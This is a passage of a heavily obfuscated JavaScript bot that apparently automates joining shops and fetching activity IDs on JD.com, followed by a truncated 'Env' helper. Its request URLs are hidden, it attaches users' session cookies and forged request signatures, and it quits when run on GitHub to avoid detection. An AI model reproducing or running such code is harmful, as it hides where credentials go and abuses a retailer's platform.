randomString(_0x280194){var _0x16898d={'\x51\x42\x48\x50\x52':function(_0x1ddc1f,_0x4d3c3d){return _0x1ddc1f||_0x4d3c3d;},'\x4c\x75\x41\x4f\x61':_0x5704('‮4c1','\x58\x28\x7a\x75'),'\x41\x7a\x7a\x70\x70':function(_0x4596f9,_0x4527e1){return _0x4596f9<_0x4527e1;},'\x4b\x76\x6a\x75\x72':function(_0x120832,_0x2011a8){return _0x120832*_0x2011a8;}};_0x280194=_0x16898d[_0x5704('‫4c2','\x5a\x45\x65\x69')](_0x280194,0x20);let _0x4d1e38=_0x16898d[_0x5704('‫4c3','\x72\x28\x6f\x59')],_0x816e57=_0x4d1e38[_0x5704('‮4c4','\x6c\x76\x69\x5e')],_0x29b4ab='';for(i=0x0;_0x16898d[_0x5704('‮4c5','\x49\x78\x66\x34')](i,_0x280194);i++)_0x29b4ab+=_0x4d1e38[_0x5704('‫4c6','\x43\x26\x57\x4a')](Math[_0x5704('‫4c7','\x57\x71\x4f\x63')](_0x16898d[_0x5704('‫4c8','\x42\x73\x40\x76')](Math[_0x5704('‫431','\x5b\x24\x6d\x62')](),_0x816e57)));return _0x29b4ab;}function jsonParse(_0xed87c9){var _0x2bf86a={'\x49\x55\x48\x47\x53':function(_0x7c8b7a,_0x519454){return _0x7c8b7a===_0x519454;},'\x54\x79\x5a\x4c\x4d':function(_0x438725,_0x58f1e3){return _0x438725==_0x58f1e3;},'\x43\x6e\x7a\x79\x4a':_0x5704('‫4c9','\x5a\x63\x59\x33'),'\x6e\x4d\x4f\x49\x6b':function(_0x226791,_0x119a78){return _0x226791!==_0x119a78;},'\x55\x4e\x4a\x6c\x51':_0x5704('‮4ca','\x52\x71\x45\x70'),'\x46\x7a\x54\x7a\x61':_0x5704('‮4cb','\x70\x46\x28\x68')};if(_0x2bf86a[_0x5704('‫4cc','\x42\x73\x40\x76')](typeof _0xed87c9,_0x2bf86a[_0x5704('‫4cd','\x56\x6a\x53\x71')])){if(_0x2bf86a[_0x5704('‫4ce','\x32\x70\x28\x76')](_0x2bf86a[_0x5704('‫4cf','\x77\x35\x30\x47')],_0x2bf86a[_0x5704('‫4d0','\x51\x58\x6a\x30')])){if(_0x2bf86a[_0x5704('‮4d1','\x76\x46\x4e\x39')](res[_0x5704('‮3ad','\x2a\x5d\x57\x49')][_0x5704('‫4d2','\x48\x4b\x35\x4b')][_0x5704('‫4d3','\x4a\x74\x73\x31')],!![])){console[_0x5704('‫b5','\x2a\x5d\x57\x49')](_0x5704('‫4d4','\x63\x59\x45\x24')+res[_0x5704('‮345','\x63\x59\x45\x24')][_0x5704('‮4d5','\x28\x4e\x49\x6e')][_0x5704('‫4d6','\x53\x75\x56\x74')]);}else{console[_0x5704('‫e','\x52\x71\x45\x70')](_0x5704('‫4d7','\x68\x70\x5b\x44'));}}else{try{return JSON[_0x5704('‫4d8','\x31\x55\x72\x4e')](_0xed87c9);}catch(_0x26bc88){console[_0x5704('‫b3','\x70\x21\x54\x48')](_0x26bc88);$[_0x5704('‮4d9','\x76\x46\x4e\x39')]($[_0x5704('‫4da','\x76\x46\x4e\x39')],'',_0x2bf86a[_0x5704('‫4db','\x64\x28\x50\x70')]);return[];}}}}async function joinShop(){var _0x44a23f={'\x57\x66\x6d\x50\x58':_0x5704('‫4dc','\x4f\x69\x30\x6f'),'\x58\x62\x47\x63\x44':_0x5704('‮4dd','\x53\x4b\x54\x65'),'\x61\x58\x64\x45\x58':_0x5704('‫4de','\x68\x44\x38\x78'),'\x48\x47\x71\x6f\x43':_0x5704('‫4df','\x57\x4e\x63\x28'),'\x6b\x4b\x42\x72\x4c':_0x5704('‫4e0','\x6e\x62\x78\x33'),'\x7a\x6c\x6f\x58\x44':_0x5704('‫4e1','\x31\x55\x72\x4e'),'\x65\x51\x63\x49\x77':function(_0x1bb1df,_0x2951e8){return _0x1bb1df>_0x2951e8;},'\x78\x6f\x69\x62\x65':_0x5704('‮4e2','\x28\x54\x5b\x43'),'\x63\x61\x4a\x5a\x45':_0x5704('‫4e3','\x2a\x46\x21\x69'),'\x79\x51\x51\x62\x51':_0x5704('‫4e4','\x28\x5b\x49\x52'),'\x45\x56\x4c\x45\x56':function(_0x38a6aa,_0x1b4ea0){return _0x38a6aa&&_0x1b4ea0;},'\x72\x4a\x4b\x4a\x78':function(_0xae16e0,_0x28322a){return _0xae16e0+_0x28322a;},'\x4f\x47\x6f\x71\x48':_0x5704('‮41d','\x77\x35\x30\x47'),'\x5a\x6b\x77\x79\x78':function(_0x1c3bb0,_0xefe0cb,_0x2d81f2){return _0x1c3bb0(_0xefe0cb,_0x2d81f2);},'\x69\x70\x6d\x57\x69':function(_0x46cfe3,_0x1d1076){return _0x46cfe3!==_0x1d1076;},'\x65\x4b\x75\x56\x63':_0x5704('‫4e5','\x78\x7a\x36\x69'),'\x58\x4a\x64\x4b\x4e':function(_0x3b73ab,_0x111326){return _0x3b73ab==_0x111326;},'\x70\x69\x51\x6b\x43':_0x5704('‮4e6','\x72\x28\x6f\x59'),'\x76\x49\x63\x4a\x6d':function(_0x585eb1,_0x35bce1){return _0x585eb1===_0x35bce1;},'\x6e\x51\x51\x5a\x41':function(_0x27d05a,_0x4002f3){return _0x27d05a!==_0x4002f3;},'\x65\x55\x4e\x49\x75':_0x5704('‫4e7','\x75\x49\x4b\x36'),'\x63\x77\x45\x58\x6d':_0x5704('‫4e8','\x28\x4e\x49\x6e'),'\x47\x70\x56\x71\x6c':function(_0x22063e,_0x2a569c){return _0x22063e==_0x2a569c;},'\x44\x6d\x7a\x63\x75':function(_0x1b66c2,_0xc57ac6){return _0x1b66c2===_0xc57ac6;},'\x6d\x4a\x6c\x55\x5a':_0x5704('‮4e9','\x49\x78\x66\x34'),'\x71\x74\x55\x62\x58':_0x5704('‫4ea','\x6e\x62\x78\x33'),'\x75\x4c\x63\x47\x41':function(_0x35117c,_0x324d42){return _0x35117c===_0x324d42;},'\x76\x44\x78\x66\x53':_0x5704('‮4eb','\x6e\x68\x69\x76'),'\x73\x76\x45\x72\x63':function(_0x42572f){return _0x42572f();},'\x52\x68\x55\x45\x55':_0x5704('‮4ec','\x51\x58\x6a\x30'),'\x65\x77\x61\x75\x49':_0x5704('‮4ed','\x6c\x76\x69\x5e'),'\x73\x7a\x57\x58\x6b':_0x5704('‫4ee','\x57\x71\x4f\x63'),'\x79\x4f\x4e\x64\x7a':_0x5704('‫4ef','\x75\x49\x4b\x36'),'\x72\x7a\x4c\x47\x4b':_0x5704('‮4f0','\x63\x59\x45\x24'),'\x75\x75\x71\x4b\x41':_0x5704('‮4f1','\x23\x68\x26\x31'),'\x56\x50\x4f\x45\x6d':function(_0x16afde,_0x5697be){return _0x16afde(_0x5697be);},'\x4e\x53\x63\x45\x4a':_0x5704('‫4f2','\x57\x4e\x63\x28'),'\x56\x52\x75\x51\x62':_0x5704('‮4f3','\x42\x73\x40\x76'),'\x6c\x53\x78\x52\x69':_0x5704('‮4f4','\x68\x44\x38\x78'),'\x6d\x6e\x6f\x44\x4c':_0x5704('‮4f5','\x67\x70\x73\x4c')};if(!$[_0x5704('‮4f6','\x44\x6b\x4c\x48')])return;return new Promise(async _0xbdcfce=>{var _0x556b80={'\x6e\x46\x4d\x67\x75':_0x44a23f[_0x5704('‮4f7','\x49\x78\x66\x34')]};$[_0x5704('‮4f8','\x6c\x76\x69\x5e')]=_0x44a23f[_0x5704('‮4f9','\x52\x71\x45\x70')];let _0x4dd920='';if($[_0x5704('‮4fa','\x77\x35\x30\x47')])_0x4dd920=_0x5704('‮4fb','\x76\x46\x4e\x39')+$[_0x5704('‫4fc','\x6e\x68\x69\x76')];const _0x5ef14e=_0x5704('‮4fd','\x51\x58\x6a\x30')+$[_0x5704('‮4fe','\x2a\x5d\x57\x49')]+_0x5704('‮4ff','\x4d\x4c\x33\x50')+$[_0x5704('‫500','\x5a\x45\x65\x69')]+_0x5704('‫501','\x70\x46\x28\x68')+_0x4dd920+_0x5704('‫502','\x42\x73\x40\x76');const _0xd6adf6={'\x61\x70\x70\x69\x64':_0x44a23f[_0x5704('‮503','\x44\x6b\x4c\x48')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x44a23f[_0x5704('‫504','\x72\x28\x6f\x59')],'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x44a23f[_0x5704('‫505','\x6e\x62\x78\x33')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x62\x6f\x64\x79':JSON[_0x5704('‮506','\x2a\x5d\x57\x49')](_0x5ef14e)};const _0x4e27ef=await _0x44a23f[_0x5704('‮507','\x6c\x76\x69\x5e')](getH5st,_0x44a23f[_0x5704('‮508','\x57\x4e\x63\x28')],_0xd6adf6);const _0x1cdf2c={'\x75\x72\x6c':_0x5704('‫509','\x2a\x46\x21\x69')+_0x5ef14e+_0x5704('‫50a','\x26\x43\x6c\x5a')+_0x44a23f[_0x5704('‮50b','\x23\x68\x26\x31')](encodeURIComponent,_0x4e27ef),'\x68\x65\x61\x64\x65\x72\x73':{'accept':_0x44a23f[_0x5704('‫50c','\x4f\x69\x30\x6f')],'accept-encoding':_0x44a23f[_0x5704('‫50d','\x78\x7a\x36\x69')],'accept-language':_0x44a23f[_0x5704('‫50e','\x68\x44\x38\x78')],'cookie':cookie,'origin':_0x44a23f[_0x5704('‫50f','\x75\x59\x49\x48')],'user-agent':_0x44a23f[_0x5704('‫510','\x5b\x24\x6d\x62')]}};$[_0x5704('‫511','\x75\x49\x4b\x36')](_0x1cdf2c,async(_0x4d1628,_0x3bb534,_0x60c3fb)=>{var _0xc092ad={'\x71\x5a\x4e\x4d\x61':_0x44a23f[_0x5704('‮512','\x6c\x76\x69\x5e')],'\x66\x44\x48\x66\x52':_0x44a23f[_0x5704('‮513','\x57\x71\x4f\x63')],'\x57\x62\x41\x71\x74':_0x44a23f[_0x5704('‮514','\x70\x46\x28\x68')],'\x70\x75\x6a\x55\x44':_0x44a23f[_0x5704('‫515','\x4d\x4c\x33\x50')],'\x4e\x57\x56\x55\x71':_0x44a23f[_0x5704('‮516','\x70\x46\x28\x68')],'\x57\x4a\x4b\x55\x52':_0x44a23f[_0x5704('‮517','\x70\x46\x28\x68')],'\x54\x47\x4c\x59\x79':function(_0x2ecf21,_0x440648){return _0x44a23f[_0x5704('‮518','\x33\x42\x34\x6c')](_0x2ecf21,_0x440648);},'\x79\x59\x42\x53\x79':_0x44a23f[_0x5704('‫519','\x23\x68\x26\x31')],'\x45\x6d\x77\x51\x71':_0x44a23f[_0x5704('‫51a','\x63\x59\x45\x24')],'\x64\x44\x44\x43\x44':_0x44a23f[_0x5704('‮51b','\x44\x6b\x4c\x48')],'\x41\x71\x51\x45\x51':function(_0x53da23,_0x5ece26){return _0x44a23f[_0x5704('‮51c','\x75\x49\x4b\x36')](_0x53da23,_0x5ece26);},'\x43\x46\x48\x6a\x6d':function(_0x205a4e,_0x11f5fe){return _0x44a23f[_0x5704('‫51d','\x77\x35\x30\x47')](_0x205a4e,_0x11f5fe);},'\x45\x4e\x55\x75\x6d':function(_0x4ca2b9,_0x53e51c){return _0x44a23f[_0x5704('‫51e','\x63\x59\x45\x24')](_0x4ca2b9,_0x53e51c);},'\x55\x76\x41\x4c\x70':_0x44a23f[_0x5704('‫51f','\x52\x71\x45\x70')],'\x54\x59\x66\x52\x4b':function(_0x4e514f,_0x21b435,_0x5d998e){return _0x44a23f[_0x5704('‫520','\x78\x7a\x36\x69')](_0x4e514f,_0x21b435,_0x5d998e);}};try{if(_0x44a23f[_0x5704('‫521','\x28\x5b\x49\x52')](_0x44a23f[_0x5704('‫522','\x21\x50\x40\x79')],_0x44a23f[_0x5704('‫523','\x51\x58\x6a\x30')])){let _0x2908={'Accept':_0xc092ad[_0x5704('‮524','\x57\x4e\x63\x28')],'Accept-Encoding':_0xc092ad[_0x5704('‫525','\x4d\x4c\x33\x50')],'Accept-Language':_0xc092ad[_0x5704('‮526','\x67\x70\x73\x4c')],'Connection':_0xc092ad[_0x5704('‫527','\x5a\x45\x65\x69')],'Content-Type':_0xc092ad[_0x5704('‮528','\x5b\x24\x6d\x62')],'Cookie':cookie,'User-Agent':$['\x55\x41'],'X-Requested-With':_0xc092ad[_0x5704('‫529','\x48\x4b\x35\x4b')]};if(_0xc092ad[_0x5704('‫52a','\x56\x6a\x53\x71')](url[_0x5704('‮52b','\x33\x42\x34\x6c')](_0xc092ad[_0x5704('‮52c','\x2a\x57\x2a\x42')]),-0x1)){_0x2908[_0xc092ad[_0x5704('‮52d','\x67\x70\x73\x4c')]]=_0x5704('‫52e','\x68\x70\x5b\x44')+$[_0x5704('‫52f','\x36\x4d\x6f\x42')]+_0x5704('‫530','\x56\x6a\x53\x71')+$[_0x5704('‮531','\x5a\x45\x65\x69')];_0x2908[_0xc092ad[_0x5704('‮532','\x6c\x76\x69\x5e')]]=''+(_0xc092ad[_0x5704('‫533','\x4a\x74\x73\x31')](lz_jdpin_token_cookie,lz_jdpin_token_cookie)||'')+($[_0x5704('‮534','\x28\x4e\x49\x6e')]&&_0xc092ad[_0x5704('‮535','\x64\x28\x50\x70')](_0xc092ad[_0x5704('‫536','\x53\x4b\x54\x65')](_0xc092ad[_0x5704('‮537','\x64\x28\x50\x70')],$[_0x5704('‫1fc','\x2a\x57\x2a\x42')]),'\x3b')||'')+activityCookie;}return{'\x75\x72\x6c':url,'\x6d\x65\x74\x68\x6f\x64':method,'\x68\x65\x61\x64\x65\x72\x73':_0x2908,'\x62\x6f\x64\x79':body,'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};}else{_0x60c3fb=_0x60c3fb&&_0x60c3fb[_0x5704('‮538','\x57\x4e\x63\x28')](/jsonp_.*?\((.*?)\);/)&&_0x60c3fb[_0x5704('‮539','\x6e\x62\x78\x33')](/jsonp_.*?\((.*?)\);/)[0x1]||_0x60c3fb;let _0x1b5bc7=$[_0x5704('‮53a','\x28\x4e\x49\x6e')](_0x60c3fb,_0x60c3fb);if(_0x1b5bc7&&_0x44a23f[_0x5704('‫53b','\x6e\x62\x78\x33')](typeof _0x1b5bc7,_0x44a23f[_0x5704('‮53c','\x4d\x4c\x33\x50')])){if(_0x1b5bc7&&_0x44a23f[_0x5704('‮53d','\x26\x43\x6c\x5a')](_0x1b5bc7[_0x5704('‫53e','\x5d\x51\x40\x40')],!![])){if(_0x44a23f[_0x5704('‫53f','\x28\x4e\x49\x6e')](_0x44a23f[_0x5704('‮540','\x28\x5b\x49\x52')],_0x44a23f[_0x5704('‫541','\x68\x44\x38\x78')])){console[_0x5704('‫268','\x50\x68\x29\x54')](_0x1b5bc7[_0x5704('‫542','\x32\x70\x28\x76')]);$[_0x5704('‫543','\x75\x49\x4b\x36')]=_0x1b5bc7[_0x5704('‫544','\x57\x71\x4f\x63')];if(_0x1b5bc7[_0x5704('‫545','\x26\x43\x6c\x5a')]&&_0x1b5bc7[_0x5704('‮370','\x56\x6a\x53\x71')][_0x5704('‫546','\x28\x4e\x49\x6e')]){for(let _0x2a42a7 of _0x1b5bc7[_0x5704('‮547','\x63\x59\x45\x24')][_0x5704('‫548','\x42\x73\x40\x76')][_0x5704('‮549','\x52\x71\x45\x70')]){console[_0x5704('‫181','\x28\x4e\x49\x6e')](_0x5704('‫54a','\x4f\x69\x30\x6f')+_0x2a42a7[_0x5704('‫54b','\x4a\x74\x73\x31')]+_0x2a42a7[_0x5704('‫54c','\x26\x43\x6c\x5a')]+_0x2a42a7[_0x5704('‮54d','\x64\x28\x50\x70')]);}}console[_0x5704('‫2e9','\x4f\x69\x30\x6f')]('');}else{console[_0x5704('‮161','\x56\x6a\x53\x71')](type+'\x20'+_0x60c3fb);}}else if(_0x1b5bc7&&_0x44a23f[_0x5704('‮54e','\x4a\x74\x73\x31')](typeof _0x1b5bc7,_0x44a23f[_0x5704('‮54f','\x5a\x63\x59\x33')])&&_0x1b5bc7[_0x5704('‫550','\x78\x7a\x36\x69')]){$[_0x5704('‮551','\x56\x6a\x53\x71')]=_0x1b5bc7[_0x5704('‮552','\x49\x78\x66\x34')];console[_0x5704('‫c6','\x49\x78\x66\x34')](''+(_0x1b5bc7[_0x5704('‫30a','\x4d\x4c\x33\x50')]||''));}else{if(_0x44a23f[_0x5704('‫553','\x28\x5b\x49\x52')](_0x44a23f[_0x5704('‮554','\x28\x5b\x49\x52')],_0x44a23f[_0x5704('‮555','\x26\x43\x6c\x5a')])){console[_0x5704('‫339','\x58\x28\x7a\x75')](_0x5704('‮556','\x49\x78\x66\x34')+(_0x1b5bc7[_0x5704('‮351','\x70\x21\x54\x48')]||_0x556b80[_0x5704('‮557','\x70\x46\x28\x68')]));}else{console[_0x5704('‮1a2','\x78\x7a\x36\x69')](_0x60c3fb);}}}else{console[_0x5704('‮334','\x5a\x63\x59\x33')](_0x60c3fb);}}}catch(_0x3d8b85){if(_0x44a23f[_0x5704('‮558','\x64\x28\x50\x70')](_0x44a23f[_0x5704('‫559','\x70\x21\x54\x48')],_0x44a23f[_0x5704('‮55a','\x28\x4e\x49\x6e')])){$[_0x5704('‫55b','\x77\x35\x30\x47')](_0x3d8b85,_0x3bb534);}else{_0xc092ad[_0x5704('‮55c','\x33\x42\x34\x6c')](dealReturn,type,_0x60c3fb);}}finally{_0x44a23f[_0x5704('‮55d','\x68\x70\x5b\x44')](_0xbdcfce);}});});}async function getshopactivityId(){var _0x359016={'\x6c\x6b\x4b\x42\x57':function(_0x21bbc1,_0x93f059){return _0x21bbc1==_0x93f059;},'\x77\x67\x44\x52\x51':_0x5704('‫55e','\x28\x54\x5b\x43'),'\x61\x4c\x5a\x75\x62':_0x5704('‮55f','\x56\x6a\x53\x71'),'\x58\x42\x48\x71\x64':function(_0x2a1483,_0x282c76){return _0x2a1483!==_0x282c76;},'\x4e\x66\x50\x66\x47':_0x5704('‮560','\x31\x55\x72\x4e'),'\x4e\x77\x7a\x69\x67':_0x5704('‫561','\x23\x68\x26\x31'),'\x53\x52\x79\x71\x64':function(_0x388346,_0x2bce2f){return _0x388346===_0x2bce2f;},'\x66\x61\x4c\x45\x52':_0x5704('‮562','\x4a\x74\x73\x31'),'\x73\x43\x72\x48\x62':_0x5704('‮563','\x67\x70\x73\x4c'),'\x71\x75\x56\x46\x41':function(_0x38cbdc){return _0x38cbdc();},'\x56\x4e\x6d\x4f\x65':_0x5704('‮564','\x4d\x4c\x33\x50'),'\x62\x63\x65\x53\x4a':_0x5704('‮565','\x28\x4e\x49\x6e'),'\x52\x58\x4f\x61\x66':_0x5704('‮566','\x53\x75\x56\x74'),'\x71\x5a\x63\x69\x61':function(_0x2f2b15,_0x21caf0,_0x47387c){return _0x2f2b15(_0x21caf0,_0x47387c);},'\x6f\x59\x48\x6a\x78':_0x5704('‫567','\x57\x4e\x63\x28'),'\x73\x46\x68\x77\x6e':function(_0x42d627,_0x3c10a5){return _0x42d627(_0x3c10a5);},'\x67\x47\x43\x57\x64':_0x5704('‮568','\x70\x46\x28\x68'),'\x68\x78\x58\x6b\x54':_0x5704('‫569','\x36\x4d\x6f\x42'),'\x69\x58\x68\x46\x41':_0x5704('‫56a','\x31\x55\x72\x4e'),'\x52\x63\x77\x67\x61':_0x5704('‫56b','\x63\x59\x45\x24'),'\x6e\x53\x76\x64\x74':_0x5704('‫56c','\x43\x26\x57\x4a')};return new Promise(async _0x7ad3e7=>{let _0x385a13=_0x5704('‫56d','\x21\x50\x40\x79')+$[_0x5704('‮4fe','\x2a\x5d\x57\x49')]+_0x5704('‫56e','\x21\x50\x40\x79');const _0x3617dc={'\x61\x70\x70\x69\x64':_0x359016[_0x5704('‮56f','\x52\x71\x45\x70')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x359016[_0x5704('‫570','\x2a\x5d\x57\x49')],'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x359016[_0x5704('‮571','\x4f\x69\x30\x6f')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x62\x6f\x64\x79':JSON[_0x5704('‫572','\x4f\x69\x30\x6f')](_0x385a13)};const _0x542845=await _0x359016[_0x5704('‫573','\x23\x68\x26\x31')](getH5st,_0x359016[_0x5704('‮574','\x5a\x45\x65\x69')],_0x3617dc);const _0x3ce274={'\x75\x72\x6c':_0x5704('‫575','\x6c\x76\x69\x5e')+_0x385a13+_0x5704('‮576','\x58\x28\x7a\x75')+_0x359016[_0x5704('‫577','\x5b\x24\x6d\x62')](encodeURIComponent,_0x542845),'\x68\x65\x61\x64\x65\x72\x73':{'accept':_0x359016[_0x5704('‮578','\x6e\x62\x78\x33')],'accept-encoding':_0x359016[_0x5704('‮579','\x2a\x46\x21\x69')],'accept-language':_0x359016[_0x5704('‫57a','\x28\x5b\x49\x52')],'cookie':cookie,'origin':_0x359016[_0x5704('‫57b','\x75\x59\x49\x48')],'user-agent':_0x359016[_0x5704('‫57c','\x6c\x76\x69\x5e')]}};$[_0x5704('‫57d','\x64\x28\x50\x70')](_0x3ce274,async(_0x13a75a,_0x52edfc,_0x461de1)=>{var _0x4cfa3b={'\x50\x61\x54\x56\x59':function(_0x277800,_0x1c5d43){return _0x359016[_0x5704('‮57e','\x75\x49\x4b\x36')](_0x277800,_0x1c5d43);},'\x52\x42\x6a\x57\x4e':_0x359016[_0x5704('‫57f','\x67\x70\x73\x4c')]};try{_0x461de1=_0x461de1&&_0x461de1[_0x5704('‮580','\x48\x4b\x35\x4b')](/jsonp_.*?\((.*?)\);/)&&_0x461de1[_0x5704('‮581','\x72\x28\x6f\x59')](/jsonp_.*?\((.*?)\);/)[0x1]||_0x461de1;let _0x1b427a=$[_0x5704('‮582','\x70\x21\x54\x48')](_0x461de1,_0x461de1);if(_0x1b427a&&_0x359016[_0x5704('‮583','\x33\x42\x34\x6c')](typeof _0x1b427a,_0x359016[_0x5704('‫584','\x63\x59\x45\x24')])){if(_0x1b427a&&_0x359016[_0x5704('‮585','\x26\x43\x6c\x5a')](_0x1b427a[_0x5704('‫586','\x64\x28\x50\x70')],!![])){console[_0x5704('‫41','\x68\x44\x38\x78')](_0x5704('‮587','\x68\x44\x38\x78')+(_0x1b427a[_0x5704('‫588','\x48\x4b\x35\x4b')][_0x5704('‮589','\x26\x43\x6c\x5a')][_0x5704('‫58a','\x64\x28\x50\x70')]||''));$[_0x5704('‮58b','\x52\x71\x45\x70')]=_0x1b427a[_0x5704('‫187','\x57\x4e\x63\x28')][_0x5704('‫58c','\x5b\x24\x6d\x62')]&&_0x1b427a[_0x5704('‮35c','\x53\x4b\x54\x65')][_0x5704('‮3d6','\x75\x49\x4b\x36')][0x0]&&_0x1b427a[_0x5704('‫545','\x26\x43\x6c\x5a')][_0x5704('‮58d','\x76\x46\x4e\x39')][0x0][_0x5704('‫58e','\x26\x43\x6c\x5a')]&&_0x1b427a[_0x5704('‮58f','\x32\x70\x28\x76')][_0x5704('‫590','\x49\x78\x66\x34')][0x0][_0x5704('‮591','\x2a\x5d\x57\x49')][_0x5704('‮592','\x6c\x76\x69\x5e')]||'';}}else{console[_0x5704('‫41','\x68\x44\x38\x78')](_0x461de1);}}catch(_0x4e237a){if(_0x359016[_0x5704('‮593','\x28\x4e\x49\x6e')](_0x359016[_0x5704('‫594','\x5a\x45\x65\x69')],_0x359016[_0x5704('‮595','\x51\x58\x6a\x30')])){$[_0x5704('‮596','\x56\x6a\x53\x71')](_0x4e237a,_0x52edfc);}else{console[_0x5704('‫494','\x5d\x51\x40\x40')](type+'\x20'+_0x461de1);}}finally{if(_0x359016[_0x5704('‫597','\x77\x35\x30\x47')](_0x359016[_0x5704('‮598','\x28\x4e\x49\x6e')],_0x359016[_0x5704('‫599','\x57\x4e\x63\x28')])){if(_0x4cfa3b[_0x5704('‫59a','\x68\x44\x38\x78')](_0x52edfc[_0x5704('‮59b','\x21\x50\x40\x79')],0x1ed)){console[_0x5704('‫181','\x28\x4e\x49\x6e')](_0x4cfa3b[_0x5704('‮59c','\x57\x71\x4f\x63')]);$[_0x5704('‮59d','\x36\x4d\x6f\x42')]=!![];}}else{_0x359016[_0x5704('‮59e','\x68\x44\x38\x78')](_0x7ad3e7);}}});});};_0xodU='jsjiami.com.v6'; + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const 